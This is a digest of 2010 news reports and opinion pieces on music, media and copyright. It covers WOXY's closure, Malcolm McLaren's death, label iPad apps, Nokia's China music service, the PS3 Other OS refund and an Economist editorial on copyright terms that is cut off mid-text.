Needless to say, the future doesn't look bright for WOXY making a grand comeback once again. In our own forums, readers have already begun to mourn the loss of WOXY, and the numerous musicians who have been showcased by the station have been unsurprisingly shocked by the news. "We knew [the WOXY staff] really well," said Panda Riot bassist (and my brother) Justin Cheng. "WOXY was kind of one-of-a-kind, as far as a radio station goes. I really liked listening to their live 'on air' shows. The bands and the sound quality of the recordings were just good."

Eric Larson from a band called Ume shared the sentiment. "I'm not sure what happened, but I think it is really sad. Radio is a tough business, so in some senses it doesn't surprise me that a radio station was having trouble. But, that said, WOXY really seemed to be making an effort to do something different and change the format," Larson told Ars. "No matter what happened, I think it is pretty terrible things have shut down. I really hope someone does come along and save the station, not so much because we need more radio stations, but rather because we need innovation in this space."

Another guitarist and singer for a band called Hollywood Lies, Matthew David Barletta, told Ars that he thinks the situation was basically inevitable. "The reality of the situation is that with the advent of the portable MP3 player, individuals can now load their credit-card sized devices with weeks worth of music that they enjoy, commercial free," Barletta said. "While I do applaud WOXY for sticking true to their morals, truthfully radio is on the decline."

There are some alternatives for indie music fans. CHIRP is a promising option, especially for those who live in Chicago and participate in the community that meets up at shows. Some have also recommended XPoNential Radio from Philadelphia. For now, however, those who loved WOXY will be left with a hole in their hearts, hoping that some miracle will bring funding back to their favorite indie station.
http://arstechnica.com/media/news/20...on-woxycom.ars





Former Sex Pistols Manager Malcolm McLaren Dies at 64
BBC

Malcolm McLaren, the former manager of punk group the Sex Pistols, has died aged 64, his agent has said.

McLaren, the ex-partner of designer Vivienne Westwood, was believed to have been diagnosed with cancer a while ago.

He set up a clothes shop and label with Westwood on London's King's Road in the 1970s and was later a businessman and performer in his own right.

The couple had a son, Joseph Corre, the co-founder of lingerie shop Agent Provocateur.

His agent told the BBC McLaren passed away on Thursday morning.

Spokesman Les Malloy said he expected McLaren's body to be returned to the UK before it is buried in Highgate Cemetery.

He said McLaren died at his home after his condition suddenly got worse.

He said the artist's family was "devastated" and "in shock" and said: "He had been doing very well, it's a sad day. I have spoken to his partner."

Westwood paid tribute to her former partner and said Joe and her other son Ben were with McLaren when he died.

"When we were young and I fell in love with Malcolm, I thought he was beautiful and I still do.

"I thought he is a very charismatic, special and talented person. The thought of him dead is really something very sad."

McLaren also managed a number of other bands, including the New York Dolls and Bow Wow Wow before producing his own records including the much-sampled track Double Dutch from the 1983 album Duck Rock.

McLaren emerged from art school in the 1960s and with Westwood, set up Let It Rock - a fashion store specialising in rubber and leather fetish gear.

Punk svengali McLaren had a hit with Double Dutch in 1983

It was later, infamously, renamed "Sex" and he and Westwood defined punk fashion.

Under McLaren's management, the Sex Pistols courted controversy.

After their debut single Anarachy in the UK was released in December 1976, the band became a household name when they swore on Bill Grundy's TV show.

Their concerts faced difficulties with promoters and authorities and they were fired by both EMI and A&M records.

In 1977, their single God Save the Queen was banned by the BBC. The band broke up at the end of a US tour in January 1978 and McLaren then created his disputed film version of the Sex Pistols' story, the Great Rock 'n' Roll Swindle.

But there was a falling out with the band members and he later lost a court case over royalties.

After retreating from the music scene, McLaren dabbled in politics and at one point, toyed with the idea of entering the race for the Mayor of London.

In 2007, he pulled out of an appearance on the reality show I'm A Celebrity... Get Me Out of Here, after changing his mind about the show.

Between December last year and this January, the Baltic Centre for Contemporary Art in Gateshead hosted an exhibition by McLaren of "musical paintings" on the issue of sex.

Music journalist Jon Savage said: "Without Malcolm McLaren there would not have been any British punk.

"He's one of the rare individuals who had a huge impact on the cultural and social life of this nation."

Mr Savage, who wrote a definitive history of the Sex Pistols and punk, England's Dreaming, said McLaren was a "complex" and "contradictory" character who had influenced British culture in many ways.

He said: "He could be very charming, he could be very cruel, but he mattered and he put something together that was extraordinary.

"What he did with fashion and music was extraordinary. He was a revolutionary."

The BBC's creative director Alan Yentob said he was saddened by the news but McLaren was "clearly suffering" during his last months.

They became friends after meeting in the 1980s.

He said McLaren was a "significant figure" in British music: "Without Malcolm, despite what people say, the punk era would never have been the kind of focus that it did become.

"Malcolm loved the idea of it and it was he, who, in a way, sold the idea to the public and understood what it meant."

He said: "Malcolm was a man of ideas really - he was fascinated by ideas. He was always thinking about the next one. He was always ready to say something provocative.

"I think he famously said that his grandmother told him 'you needed to be a bad boy to survive - it was good to be bad'. He wanted to shock and surprise you."
http://news.bbc.co.uk/2/hi/uk_news/8610423.stm





Legal Music "Trustmark" a Nice Idea, Not Much More
Jacqui Cheng

When most people download music, they're usually pretty well aware of whether they are acquiring it legally or not. The usual legal methods—iTunes, Amazon MP3, eMusic, Amie Street, even Wal-Mart—are not only easy to use, they can be found practically everywhere you look. With this in mind, is there really much of a reason to have an official "trustmark" for music retailers to display, indicating that you are, in fact, not pirating when you buy from them?

Music Matters thinks so. The organization, launched this week, is a collection of music industry players trying to educate the public about consuming music the "ethical way." That is, paying for it rather than downloading it from your favorite P2P client. According to the Music Matters website, the goal of the trustmark is to help music fans differentiate legal sources of music from illegal ones. Current supporting partners include iTunes, Amazon.co.uk, MTV, Napster 2.0, MySpace, and more.

The problem is that participating music sellers must voluntarily agree to display the Music Matters trustmark, and not every one will. Additionally, there are numerous independent musicians who distribute their music their own way—either as free downloads on their websites or even via BitTorrent—that aren't likely to display the mark either. (The yearly SXSW band releases, for example, are often distributed via BitTorrent.)

Music coming from nonmembers can be just as legal as music coming from members, and there's no guarantee that even the more well-known music stores will participate. So how, exactly, will this make a difference? Music Matters claims that 19 out of every 20 tracks downloaded globally are done so illegally—however, even the most tech illiterate of users usually know when they're doing something on the down-low or not. People making a conscious decision to pirate music aren't likely to change their habits thanks to the lack of a logo.

Skepticism aside, Music Matters does have one good thing going for it: the videos. There are currently a handful of videos (with possibly more to come) that chronicle inspiring tales of how certain musicians came to their own successes in the industry.
http://arstechnica.com/media/news/20...-much-more.ars





Major Labels Eager to Enter iPad App Marketplace
Antony Bruno

When avid technophile Mike Shinoda was approached backstage last year with an idea for developing a Linkin Park iPhone game, the band's co-frontman knew he wanted it to be more than just another run-of-the-mill artist app.

"It was important to us to do something creative and fun," he says. "We didn't want to throw a bunch of songs at the game, slap our name on it and cash the checks."

The result is "8-Bit Rebellion," a soon-to-be-released iPhone game with an iPad version on the way. Whereas most artist-branded games tend to be rhythm-based, "8-Bit Rebellion" is an action game that has users fighting enemies alongside members of the band. The soundtrack features several Linkin Park hits in both standard and 8-bit fidelity, plus an exclusive track, "Blackbirds," for fans who complete the game.

But according to Maryanna Donaldson, creative director of the game's developer, Artificial Life, the real innovation was the degree to which Linkin Park was involved. Each band member helped design a different "district" in which the game takes place, personalized to his individual interests. Shinoda designed the members' avatars and edited every line of dialogue. The process wound up taking the better part of a year, but Donaldson says the result sets a new bar for artist-branded apps.

"For it to be top quality and appealing to the fan, the artist should be very involved," she says.

Meanwhile, the band's label, Warner Bros. Records, is supporting the app's launch with a movie-style trailer that will run in the IGN gaming community as well as virally through Linkin Park's YouTube channel. There will also be a Web site where fans can create and post 8-bit avatars of themselves.

"We're treating this like the release of a Linkin Park album or song," Warner Bros. Records senior vice president of new media Jeremy Welt says.

Canvas For Creativity

For critics of the music industry's approach to the app market, this is the kind of thing they've been waiting for. Labels that just six months ago said they were still evaluating the mobile app opportunity are today pointing to a cohesive strategy around the app and mobile market with a focus on revenue-generating products. Much of that relies on artists who -- inspired by the breakthrough success of Smule's "I Am T-Pain" app (more than 1 million downloads) -- are approaching mobile apps as a canvas of creative expression instead of simply promotion and distribution.

And Apple is upping the stakes for all with the newly introduced iPad, which sports not only new features but also opens up an entirely new class of apps, based on ways developers believe the device will be used. According to a recent comScore survey, music ranks third among the potential uses of the iPad, behind Web browsing and e-mail.

Solidifying the labels' newfound strategy is a simple breakdown of cost versus revenue. Spending as much as $50,000 or more to create what amounts to little more than a mobile expression of an artist's Web site and then giving that away for free isn't a sustainable model. So major labels are instead turning their attention to optimizing their artists' Web sites for mobile browsers and skipping free apps altogether.

"The development costs of launching what are essentially Web content/marketing apps for multiple open-market app platforms are very, very high," Sony Music VP of global account management Sean Rosenberg says. "There are different ways of utilizing the mobile Web to meet our goals."

Instead, the focus is now on paid apps, preferably ones that offer something novel and entertaining. At the music-group level, that means creating games and other apps that can tap a label's entire catalog, such as the "Six String" app recently released by Universal Music Group, which in addition to the six songs included at sale also lets fans buy and download additional tracks over time for 99 cents each. The app costs $5.

At the label level, it's all about the individual artist app. Warner Bros. Records senior VP of digital music Jack Isquith expects artist apps to be a significant revenue generator for the acts involved, more so than simply licensing music to multi-artist apps like "Tap Tap Revenge" or even from the mobile extensions of streaming radio services.

"When we get to 2011 and 2012, the biggest opportunities are going to be having real hits with artist-specific apps," he says.

Research firm Gartner predicts mobile app revenue will increase worldwide from more than $6 billion this year to almost $20 billion by 2013, with the number of apps downloaded jumping from 4.5 billion to more than 21 billion in the same time frame.

New Opportunities

The advent of the iPad, meanwhile, opens a whole new market for apps and music services to the music industry. Although any iPhone app will work with the iPad, developing iPad-specific versions takes better advantage of the device's more advanced features, such as larger screen size, processing power and high-resolution visuals.

Getting in on the iPad early is significant. While iPhone apps have more than 150,000 other apps to compete with for attention, the iPad launched with slightly more than 3,000 available, and Apple said more than 1 million apps were downloaded to the device during the first weekend it was for sale. Many are music-related -- such as the Shazam music ID service, Pandora's customized Internet radio and new music games like "Tap Tap Radiation" from Tapulous and Smule's "Magic Piano."

What kinds of apps are developed for the iPad depends on how the iPad is used, something of which no one is yet certain. Apps monitoring firm Flurry says more than 40 percent of the apps in development for the iPad are games, so there's likely to be more "8-Bit Rebellion"-type games from artists who want to target iPad users.

Yet while some critics have called the iPad an oversized iPod Touch, there are several important differences between the devices that may lead to other uses. Its larger size has many expecting it to be a less portable device, meaning it will likely be used mostly in the home in areas where consumers don't use their laptop or desktop computers. It also features a larger screen with better resolution for photos and videos, a more sensitive touch screen and longer battery life, so users are likely to interact with content on the iPad longer and in more diverse ways than on the iPhone.

This has developers creating apps for the iPad that are more immersive, or "lean-in," and designed to be used for hours, which is much different from the apps created for the iPhone that are meant to be used for only a few minutes. The driving theory is that the iPad will prove the missing link needed to bring digital entertainment to the living room.

"The iPad is going to broadly redefine home entertainment," says Jeff Smith, CEO of Smule, which raked in around $3 million in revenue last year and in December scored another $8 million in third-round funding. "What we're seeing is the impact of two trends -- gaming and social. So the opportunity as it relates to music is to have a shift in thinking in how you interact with music. What 'Guitar Hero' started will accelerate with the iPad."

Album-Oriented

Labels also hope the iPad will spark a return to the album format, specifically for the iTunes LP format.

"It's going to be interesting to see if it can bring that space to life," Sony's Rosenberg says. "Now that they have a device that's better suited for the experience, there is a renewed focus on it. It's been a big part of conversation for major artist releases. It's definitely on the agenda now."

How aggressively that agenda is pursued depends on sales. Apple said the iPad sold more than 300,000 units its opening weekend, which exceeds initial sales of the iPhone. Morgan Stanley analyst Katy Huberty in a recent research note predicted 8 million-10 million iPad shipments this year with sales of 6 million. More than 2 million of those sales should occur in the first three months. Piper Jaffray analyst Gene Munster predicted sales of 4.3 million for the year after analyzing first-weekend results.

One thing is certain -- the music industry is no longer holding back. Whereas it took the better part of a year for the industry to warm up to music apps, the lessons of the last 18 months are already being applied to the iPad.

"We're going to carefully watch for changes in the app marketplace three and six months from now, but we already think it's a business we need to be in," Warner's Isquith says. "It's impossible for us to imagine that anything we see and learn is going to push us away. We're committed to the app marketplace."
http://www.reuters.com/article/idUSTRE6390DP20100410





Nokia Eyes China Boost for Struggling Music Service
Michael Wei and Tarmo Virki

Nokia will offer free music with its mobile phones in China, as it looks to emerging markets to boost the download service that is struggling to compete with Apple Inc's popular iTunes.

The world's top cellphone maker will offer free music downloads from major labels and a number of independents at the Chinese launch for its Comes with Music service, which is tailored for downloads to cellphones and PCs.

Nokia is hoping the downloads will lift sales of its phones in China and support phone prices. But it likely has to pay something to the labels to distribute music, raising its risks.

With more than 700 million subscribers, China is the world's biggest mobile market by users. But rampant piracy in the country has kept most major music labels and movie makers from realizing significant revenue there despite its huge potential.

"Music is free in China -- Nokia's offer is like legalizing cannabis in Holland," said John Strand, chief executive of Strand Consult.

Shares in Nokia were down 2 percent at 11.47 euros at 0942 GMT, underperforming a 1.4 percent drop in technology stocks.

"This move echoes the decision to make navigation free and signals Nokia's new strategy of giving services away rather than seeking explicit revenues," said Martin Garner, an analyst at CCS Insight.

"Success will depend on indirect revenue such as advertising and cross-selling, otherwise margins will suffer," he said.

Nokia unveiled the service in late 2008 in Britain -- seen as a test market for new mobile services in Europe -- but it has lacked operator support and has gained little traction in developed markets since then.

Reasons behind the lackluster performance include use of older supporting handsets for the product at its launch, software that some considered user unfriendly and a difficult to understand product offering.

Earlier this year Niklas Savander, the head of Nokia services, told Reuters the offering would focus increasingly on the emerging markets.

"The forthcoming launch of the service in India will add significant scale and differentiation in another critical market," Nokia said.

Labels signed on to the deal include Vivendi's Universal Music, EMI, Warner Music Group and the music arm of Sony.

Eight Models

The new service will initially be offered over eight Nokia models, with entry prices starting from 140 euros ($187), and Nokia said there will be no extra fee for music on top of the phone price like on other markets.

In developed markets it has sold the same models with and without music -- with the music downloading service price seen at 50-100 euros.

Nokia announced that the China service will break with its previous versions of its Comes with Music services by not including DRM software, which limits sharing of songs between different devices.

That will allow consumers to freely share music between any device, unlike other markets where the service limits usage to just one phone and one computer.

"It's unique for China where piracy has had a stronghold," said Nokia spokesman Doug Dawson.

($1=.7498 Euro)

(Editing by Lincoln Feast and Erica Billingham)
http://www.reuters.com/article/idUST...technologyNews





US Author Says China Media Can't Cover Google Book
Cara Anna

A writer for The New Yorker will not promote his new book about Google during a China visit after being warned the media are restricted from writing about the company, which angered the government by moving its search engine off the mainland to avoid censorship.

In a phone interview late Wednesday, Ken Auletta said the book's China-based publisher told him his visit next month no longer made sense, because even if Chinese media show up for his events, they won't be able to report anything.

E-mails from Auletta's publishing contacts for the China book, seen Wednesday by The Associated Press, point out the restrictions with concern.

"It's disappointing, not to mention outrageous," Auletta said. He said he wouldn't know where to begin to appeal to the Chinese government. "It sounds like a faceless decision. It doesn't sound like one person you appeal to ... It just sounds like '1984.'"

Auletta's book, "Googled: The End of the World as We Know It," came out in the U.S. last fall, and a Chinese publisher bought the rights.

But that was before Google kicked off a tussle with the Chinese government in January, threatening to shut down its China-based search engine unless the Communist Party loosened its restrictions on free speech.

Google then moved its search engine last month to the Chinese territory of Hong Kong, a former British colony with broader legal and political freedoms.

Since then, reporters and editors for China's state-run media have said they've been restricted in what they write about Google, being told to treat the company's move as a business dispute and to paint Google's motives as political.

"The Chinese government recently asked the media not to report anything regarding Google ... It is not likely that they can report the author's visit and the book at this sensitive time," said an e-mail Tuesday from Jian-Mei Wang with the Bardon-Chinese Media Agency to Betsy Robbins, Auletta's agent outside the United States.

Another e-mail Tuesday to Robbins from Li Yinghong with the state-owned China Citic Press said, "We heard from local media who had interest in interviewing the author the local authorities don't like any news and reports about Google at such time due to the company's decision of exit of Chinese market."

Li, reached by phone Wednesday night, said he couldn't comment.

A man answering phones for the propaganda department of the Communist Party late Wednesday said his office didn't know about any media restrictions on covering Google. He didn't give his name, as is common with Chinese officials.

Auletta said he didn't know whether this means his book won't be published in China at all.

The book includes an account of Google agreeing to censor its search results in China, and how uncomfortable co-founder Sergey Brin was with the decision. The book describes a 2008 meeting where a shareholder proposed that Google abandon China unless it stopped censoring the search engine. The move almost passed but for one abstention, from Brin himself.

Auletta said there had been no mention of cutting such details out of the book's Chinese edition. "This is the first inkling I've gotten of any problem with the book in China," he said.

Auletta already had his visa for what will be his first trip to China and still plans to visit Shanghai for other reasons in May, he said.

---

Associated Press researcher Zhao Liang contributed to this report.
http://www.washingtonpost.com/wp-dyn...040703028.html





NYTimes Ethicist: Not Unethical To Download Unauthorized Copy Of Physical Book You Own

davebarnes points us to a recent response by the NYTimes' ethicist, Randy Cohen, to a reader question, over the ethics of downloading an unauthorized ebook of a book where he already owned the physical book. Cohen, in no uncertain terms, points out that while illegal, it should not be seen as unethical, and suggests that the law needs to catch up with technology:

An illegal download is -- to use an ugly word -- illegal. But in this case, it is not unethical. Author and publisher are entitled to be paid for their work, and by purchasing the hardcover, you did so. Your subsequent downloading is akin to buying a CD, then copying it to your iPod.

Buying a book or a piece of music should be regarded as a license to enjoy it on any platform. Sadly, the anachronistic conventions of bookselling and copyright law lag the technology. Thus you've violated the publishing company's legal right to control the distribution of its intellectual property, but you've done no harm or so little as to meet my threshold of acceptability.

He goes on to quote a publishing exec who disagrees, insisting that any unauthorized download is "stealing" and warns Cohen: "to condone this is to condone theft." But, of course, that's ridiculous. It is not theft at all. Nothing is missing. No one has lost out on anything. The publisher already got its money from this guy. To have a publisher make a statement that is clearly false makes you wonder what sort of strategic direction that publisher is heading in. If they can't understand the difference between someone who already paid just downloading a digital copy, and someone "stealing" a book, they're never going to understand how to compete in a digital world.

Thankfully, Cohen makes this same point, in noting (in response to the publisher): "it is a curious sort of theft that involves actually paying for a book."
http://www.techdirt.com/articles/201...15408870.shtml





No Linking to Japanese Newspaper Without Permission
John Timmer

We've definitely entered an era of experiment when it comes to online content, as a number of publications with a tradition in the print world are testing out approaches like building paywalls, mixing free and paid content, and limiting the amount of content that's indexed by search engines.

But Japan's Nikkei newspaper has taken its attempts to control access to an entirely different level: it now requires a formal request for any inbound links to its site.

The New York Times, which reported on the new policy on Thursday, notes that the newspaper market in Japan is radically different from that in the US. Although some smaller outlets are experimenting with new ways of reaching readers, most papers require subscriptions to access online content, and the barriers have kept circulation of print editions quite high compared to the US.

Nikkei management appears worried that links could provide secret passages to content that should be safely behind the paywall, and this fear has led to the new approval policy.

So far, the rules haven't made it to the default site that's accessible from the US, but they do appear to have made it to the European version. Given the newsworthiness of the policy, it seems safe to risk the Nikkei's aggressive copyright stance by quoting them in full:

“Please send an e-mail to e-media@eur.nikkei.com with information about your web site, web site address, aims of the link, your name and contact details etc prior to adding a link taken from our website. Generally, links from one's own website to the front page of our website are acceptable, though we retain the right to reject links to websites and links themselves of which we do not approve.”

That text comes from [url=Vhttp://www.nikkeieu.com/e/privacy/index.aspthis page[/url]. Obviously, we can't guarantee that the link will actually work, since it would be easy for Nikkei to determine that Ars Technica is referring readers to the page, compare our URL to the list of approved linkers, and block access to the content accordingly.

Also, for added irritation, Nikkei has disabled the right-click context menu so that copying links is more difficult. The context blocking takes place, at the moment, only on the Japanese language site; the English site appears unaffected.
http://arstechnica.com/media/news/20...m_campaign=rss





Murdoch Tells Old Media to 'Stand Up' to Google, Bing

News aggregation argy-bargy rumbles on
Kelly Fiveash

News Corp boss Rupert Murdoch has once again hit out at search engines, and called on newspaper publishers to stop the likes of Google and Microsoft’s Bing from freely displaying articles online.

Speaking at the National Press Club in Washington yesterday, Murdoch reiterated his disgust at how search engines handle news and called on old media to rethink how their stories are distributed on the web.

“It’s produced a river of gold, but those words are being taken mostly from the newspapers,” he said, reports Bloomberg. “I think they ought to stop it, that the newspapers ought to stand up and let them do their own reporting.”

Murdoch, whose company publishes newspapers including The Times and the Wall Street Journal, wants to make only headlines and a few sentences available for free online, with an option for readers to subscribe to the service in order to view the full story. The Financial Times already has such a pay wall in place.

“Most newspapers in this country are going to have to put a pay wall up,” he said.

Recently News Corp has been mulling blocking Google from displaying its news, but no such action has been taken against the media giant yet.

Instead Murdoch’s firm has so far gone after much smaller players such as headline aggregation site NewsNow.co.uk. In January this year Times Online made changes to the robots.txt protocol to prevent NewsNow's spiders from collecting news stories from its site.

Last month The Times and The Sunday Times confirmed charges of £1 a day, or £2 a week, for access to its website.

Other Murdoch titles, such as The Sun and The News of the World are expected to follow suit later in the year.
http://www.theregister.co.uk/2010/04...news_pay_wall/





Teaching About Web Includes Troublesome Parts
Stephanie Clifford

When Kevin Jenkins wanted to teach his fourth-grade students at Spangler Elementary here how to use the Internet, he created a site where they could post photographs, drawings and surveys.

And they did. But to his dismay, some of his students posted surveys like “Who’s the most popular classmate?” and “Who’s the best-liked?”

Mr. Jenkins’s students “liked being able to express themselves in a place where they’re basically by themselves at a computer,” he said. “They’re not thinking that everyone’s going to see it.”

The first wave of parental anxiety about the Internet focused on security and adult predators. But that has since given way to concerns about how their children are acting online toward their friends and rivals, and what impression their online profiles might create in the minds of college admissions officers or future employers.

Incidents like the recent suicide of a freshman girl at South Hadley High School in Massachusetts after she was bullied online and at school have reinforced the notion that many children still seem unaware how the Internet can transform typical adolescent behavior — popularity contests, cliquish snubs, macho boasts, sexual flirtations, claims about drinking and drugs — into something not only public, but also permanent.

The South Hadley case is leading some states to re-examine their laws against bullying; while more than 40 states address the issue, they tend to focus on punishment, not prevention.

Mr. Jenkins this year began using lessons from Common Sense Media, which tries to teach students to consider their online behavior before they get into trouble.

Financed largely by foundation money, Common Sense will offer a free curriculum to schools this fall that teaches students how to behave online. New York City and Omaha have decided to offer it to their public schools; Denver, the District of Columbia, Florida, Los Angeles, Maine and Virginia are considering it.

“You want to light a fire under someone’s fanny?” said Liz Perle, editor in chief of Common Sense Media. “Have your child post something that is close to a hate crime.”

And the Internet is where children are growing up. The average young person spends seven and a half hours a day with a computer, television or smart phone, according to a January study from the Kaiser Family Foundation. Considering that the time is mostly outside of school, the results suggest that almost every extracurricular hour is devoted to online life.

Common Sense’s classes, based on research by Howard Gardner, a Harvard psychology and education professor, are grouped into topics he calls “ethical fault lines”: identity (how do you present yourself online?); privacy (the world can see everything you write); ownership (plagiarism, reproducing creative work); credibility (legitimate sources of information); and community (interacting with others).

Raquel Kusunoki, a sixth-grade teacher at Spangler, recently asked Mr. Jenkins, now an educational technology specialist for the school district, to teach Common Sense classes to her students. The class listened as Mr. Jenkins read a story about a girl who got annoyed when her parents quizzed her about details from her online journal.

Lucas Navarrete, 13, asked, “What’s their right to read her personal stuff?” adding, “They have no right!”

“Maybe they’re worried,” suggested Morgan Windham, a soft-spoken girl.

“It’s public!” argued Aren Santos.

“O.K., O.K., if it was a personal diary and they read it, would you be happy?” Lucas asked. “They have no right, see?”

Mr. Jenkins asked the class if there is a difference between a private diary on paper and a public online diary. But the class could not agree.

“I would just keep it to myself and tell only people that were really, really close to me,” Cindy Nguyen said after class. “We want to have our personal, private space.”

That blurred line between public and private space is what Common Sense tries to address.

“That sense of invulnerability that high school students tend to have, thinking they can control everything, before the Internet there may have been some truth to that,” said Ted Brodheim, chief information officer for the New York City Department of Education. “I don’t think they fully grasp that when they make some of these decisions, it’s not something they can pull back from.”

Common Sense bases all its case studies on real life, and insists on the students’ participation. “If you just stand up and deliver a lecture on intellectual property, it has no meaning for the kids,” said Constance M. Yowell, director of education for the John D. and Catherine T. MacArthur Foundation, which has provided financing.

But some media experts say that in focusing on social issues, Common Sense misses some of the larger, structural problems facing children online.

“We can’t make the awareness of Web issues solely person- and relationship-centered,” said Joseph Turow, a professor at the Annenberg School for Communication at the University of Pennsylvania. Children should learn things like what a cookie or a Web virus is, and how corporations profit from tracking consumers online, he said.

In San Francisco, the Schools of the Sacred Heart, related boys’ and girls’ schools, met with parents earlier this year to discuss their Common Sense pilot program with Sister Anne Wachter, the head of the girls’ school.

“The messes they get into with friends, or jumping onto someone’s site and sending a message,” she said. “They don’t know, sometimes, how to manage the social, emotional stuff that comes up.”

Crowded into a basement math classroom, the parents listened to a teacher, Bill Jennings, discuss lessons he had been trying. In front of Sister Wachter and the parents, many of whom are Catholic, he gave an example of a social-networking message the girls might see about a new student: “Amy is a slut; her mom’s a whore.”

There was startled silence from the parents.

“If I came up with five scenarios for Maya, they’d probably be so far from that — they’re not calling someone’s mother a whore,” said Sheila Chatterjee, a parent of a seventh grader.

“But the language of that is what they hear,” Mr. Jennings said.

“It’s authentic,” Ms. Chatterjee agreed.

Shirin Oshidari, who has a son in seventh grade, said this lesson seemed obvious. “To me, it’s exactly how you behave person to person,” she said. “Everything you write, the college you want to go to, they will see it. And the job you want to get, they will see it.”

Jaime Dominguez, the head of the boys school, said: “The hard part is, as adults we see that connection. They don’t.”
http://www.nytimes.com/2010/04/09/ed...cyberkids.html





Police Back Down Over Domain Name
BBC

The Government's police inspectorate has backed down after protests from social media activists over its choice of name for a new website.

Her Majesty's Inspectorate of Constabulary (HMIC) had unveiled plans for a project called MyPolice.org.uk.

But the name was already being used by a project started in 2009, intended to allow crime victims and others to report feedback to police forces.

HMIC said it had chosen to stop using the name to avoid confusion.

"To ensure the public gets the benefits of both services with no chance of confusion, we will change the name of the 'my police' pages on our website," HMIC said in a statement.

"We are currently consulting on the best option, and will announce the results in the next week."

The HMIC website was intended to be used by members of the public to find out information about how their local force is performing.

HMIC said it had "nothing to gain by overwhelming MyPolice.org".

The entrepreneurs behind the independent site had accused HMIC of trampling over their work. During the dispute, co-founder Lauren Currie told BBC News that it had caused "a huge problem".

In a statement, she said they were "grateful" for the change of heart.

"We think the product HMIC launched, which until today shared our name as My Police, is a genuinely good idea.

"We believe...that it is important to enable the public to rate and score their local force but our product is different."
http://news.bbc.co.uk/go/pr/fr/-/2/h...gy/8599701.stm





Three Submit Binding Offers to Buy AOL's ICQ: Report

Russia's ProfMedia and DST as well as China's Tencent have submitted binding offers to buy AOL's instant-messaging service ICQ, business daily Vedomosti reported on Tuesday.

AOL was spun off from Time Warner Inc last December and is currently selling non-core assets, including ICQ which is reportedly valued at up to $300 million.

Vedomosti quoted unnamed sources as saying the three companies had submitted binding offers. It said DST and ProfMedia declined to comment, while AOL and Tencent did not return calls.

(Reporting by Maria Kiselyova; Editing by Mike Nesbit)
http://www.reuters.com/article/idUST...technologyNews





[PS3] Owner Refunded (Without Return) for Missing Other OS

Retailer Amazon has offered a partial refund to a European PS3 owner following his complaint about the removal of the console's 'Other OS' feature. Firmware 3.21 infamously removed the ability to install other Operating Systems (such as Yellow Dog Linux) on the PlayStation 3. Though the feature was widely unused by the majority of PS3 gamers, many were angered by Sony's audacity to remotely disable an original PS3 feature. One gamer has come up trumps, citing European law to earn a partial refund.

That's a partial refund from Amazon without returning their PS3. Said gamer is NeoGAF Forum moderator Iapetus, who cited European law to argue that his original 60GB console, which was considerably out of warranty and Amazon's 30-day guarantee, no longer operated as advertised. The online retailer's policy was to offer a refund weighing in at approximately 20 per cent of the console's original value. Amazon responds:

We are writing to confirm that we have processed your refund in the amount of £84.00 for your Order 666-5327564-4432412.

Item Refund: £71.49
Item Tax Refund: £12.51

This refund is for the following item(s):

Item: Sony PlayStation 3 Console (60GB Premium Version)
Quantity: 1
ASIN: B0007SV734
Reason for refund: Account adjustment

The following is the breakdown of your refund for this item:

Said European law is Directive 1999/44/EC, which was accepted into European Parliament on 1 January 2002. Apart from requiring all European member states to alter their legislation to carry at least a two-year warranty on all new consumer goods (the UK's Sale of Goods Act offers up to 6 years possible protection) the Directive also includes a stipulation relevant to Sony's removal of the PS3's Other OS. The two points read:

"The goods must:

* comply with the description given by the seller and posses the same qualities and characteristics as other similar goods
* be fit for the purpose which the consumer requires them and which was made known to the seller at the time of purchase."

The key statement is "which was made known to the seller at the time of purchase," where Sony made it known at the time of purchase that you would be able to install an 'Other OS.' This was raised with Amazon, and their policy was to offer a partial refund whether that feature had been used by said consumer or not. It should be noted that in European law responsibility is placed on the retailer and not the manufacturer.

This cost will most likely be passed over to Sony and if such refunds get out of hand, Sony may have no other option than to reinstate 'Other OS' or instead take legal action to prove that they are not acting outside of the law. Sony's argument may be that they are allowed to change the software side of their console, since it does not act as an alteration to hardware. Moreover, Sony may argue that they have given Other OS users an option to not update their console; though this is an option that will stop these gamers from going online or playing future PS3 games. Of course, there's the simple fact that the PS3's user agreement states:

"Without limitation, services may include the provision of the latest update or download of new release that may include security patches, new technology or revised settings and features which may prevent access to unauthorized or pirated content, or use of unauthorized hardware or software in connection with the PS3 system."

As for the US, consumer protection is not as wide reaching as in Europe, but we could certainly see a class action suit against Sony on the same grounds. As for George Hotz, the hacker who many blame for the removal of the PS3's Other OS, he now claims to have enabled the feature after updating to firmware v3.21, as shown in the following YouTube video:

Who do you blame? Hackers, or Sony? Will you try to gain a partial refund for your 'fat' PlayStation 3?
http://marisonreadings.blogspot.com/...eturn-for.html





Copyright and Wrong

Why the rules on copyright need to return to their roots

WHEN Parliament decided, in 1709, to create a law that would protect books from piracy, the London-based publishers and booksellers who had been pushing for such protection were overjoyed. When Queen Anne gave her assent on April 10th the following year—300 years ago this week—to “An act for the encouragement of learning” they were less enthused. Parliament had given them rights, but it had set a time limit on them: 21 years for books already in print and 14 years for new ones, with an additional 14 years if the author was still alive when the first term ran out. After that, the material would enter the public domain so that anyone could reproduce it. The lawmakers intended thus to balance the incentive to create with the interest that society has in free access to knowledge and art. The Statute of Anne thus helped nurture and channel the spate of inventiveness that Enlightenment society and its successors have since enjoyed.

Over the past 50 years, however, that balance has shifted. Largely thanks to the entertainment industry’s lawyers and lobbyists, copyright’s scope and duration have vastly increased. In America, copyright holders get 95 years’ protection as a result of an extension granted in 1998, derided by critics as the “Mickey Mouse Protection Act”. They are now calling for even greater protection, and there have been efforts to introduce similar terms in Europe. Such arguments should be resisted: it is time to tip the balance back.
Annie get your gun

Lengthy protection, it is argued, increases the incentive to create. Digital technology seems to strengthen the argument: by making copying easier, it seems to demand greater protection in return. The idea of extending copyright also has a moral appeal. Intellectual property can seem very like real property, especially when it is yours, and not some faceless corporation’s. As a result people feel that once they own it—especially if they have made it—they should go on owning it, much as they would a house that they could pass on to their descendants. On this reading, protection should be perpetual. Ratcheting up the time limit on a regular basis becomes a reasonable way of approximating that perpetuity.

